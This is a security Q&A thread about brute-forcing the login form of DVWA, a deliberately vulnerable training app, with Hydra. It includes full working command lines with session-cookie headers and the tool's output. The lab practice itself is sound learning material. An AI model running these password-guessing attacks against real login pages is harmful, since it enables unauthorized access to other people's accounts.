Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I've been playing around with Hydra and DVWA and I've hit a bit of a snag - Hydra responds letting me know that the first 16 passwords in my password list are correct when none of them are.

I assume this is a syntax error, but I'm not sure if anyone has seen this before. I've followed several tutorials with no luck so I'm hoping someone where can help.

Syntax :

hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

Output

Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-05 22:30:51
[DATA] 16 tasks, 1 server, 815 login tries (l:1/p:815), ~50 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 192.168.88.196   login: admin   password: adrianna
[STATUS] attack finished for 192.168.88.196 (waiting for children to finish)
[80][www-form] host: 192.168.88.196   login: admin   password: adrian
[80][www-form] host: 192.168.88.196   login: admin   password: aerobics
[80][www-form] host: 192.168.88.196   login: admin   password: academic
[80][www-form] host: 192.168.88.196   login: admin   password: access
[80][www-form] host: 192.168.88.196   login: admin   password: abc
[80][www-form] host: 192.168.88.196   login: admin   password: admin
[80][www-form] host: 192.168.88.196   login: admin   password: academia
[80][www-form] host: 192.168.88.196   login: admin   password: albatross
[80][www-form] host: 192.168.88.196   login: admin   password: alex
[80][www-form] host: 192.168.88.196   login: admin   password: airplane
[80][www-form] host: 192.168.88.196   login: admin   password: albany
[80][www-form] host: 192.168.88.196   login: admin   password: ada
[80][www-form] host: 192.168.88.196   login: admin   password: aaa
[80][www-form] host: 192.168.88.196   login: admin   password: albert
[80][www-form] host: 192.168.88.196   login: admin   password: alexander
1 of 1 target successfuly completed, 16 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-05 22:30:51

EDIT

I was successful in brute forcing the admin credentials. Once I had authenticated to DVWA I needed to find the cookie information (easily done via your browser or Burp Suite). Once I had the cookie information I issued the following command which worked.

hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security;low;PHPSESSID=<value for PHP SESSID cookie"
share|improve this question
    
That's one of the syntax I tried. Didn't work for me. –  Adnan Jun 6 '13 at 13:50
    
Don't know if you've tried this, but I needed to have the Cookie security level AND the PHPSESSID value in that command to make it work. Removing either will produce the same results as my first command. –  DKNUCKLES Jun 6 '13 at 14:57
    
Yeah, I've tried that as well. I've actually also copied the exact same command you posted and changed my server, password file, and the session cookie value. It's giving me syntax errors, maybe something is wrong with my version. But anyway, don't worry about it, I was interested in that more than 6 months ago. Currently, I use Medusa and Ncrack. –  Adnan Jun 6 '13 at 15:15

2 Answers 2

up vote 16 down vote accepted

Same problem happened to me when I was playing with DVWA. The reason is that you're trying to brute-force YOUR_SERVER/dvwa/vulnerabilities/brute/index.php which needs authentication. Try to visit that page in your browser and you'll be prompted to enter a username and a password (different form from the one you're trying to brute-force)

So while you're trying to brute-force this:
hydra-brute-force

Hydra is actually "seeing" this:
hydra-login

On the second form you won't get the message "Username and/or password incorrect.", which you told Hydra to use to differentiate between failed and successful logins. Hydra doesn't see that failed login message, so it's assuming that the login was successful.

So you need to login using a browser, get the session cookie (by default, PHPSESSID) , and feed it to Hydra, and then Hydra will be able to "see" the first form.

Supposedly, you can set the cookie in the HTTP headers in Hydra by doing H=Cookie:NAME=VALUE or pointing Hydra to a file which sets the cookie by doing C=/path/to/file. Unfortunately, non of these worked for me.

After getting frustrated, I ended up commenting Line: 5 (dvwaPageStartup) in the file /dvwa/vulnerabilities/brute/index.php, which allowed Hydra to see the actual vulnerable login form.

share|improve this answer
    
ah ha! This input was very helpful - I've managed to get the proper syntax and will post in my question. Feel free to try to let me know if you have any luck! –  DKNUCKLES Jun 6 '13 at 13:10

This is what worked for me:

hydra 192.168.56.2 -l admin -P /home/user/Downloads/pass.txt http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=n5ggv5f2b3vcrl9fe15nqu6v95"

share|improve this answer

protected by Community May 5 at 8:24

Thank you for your interest in this question. Because it has attracted low-quality answers, posting an answer now requires 10 reputation on this site.

Would you like to answer one of these unanswered questions instead?

Not the answer you're looking for? Browse other questions tagged or ask your own question.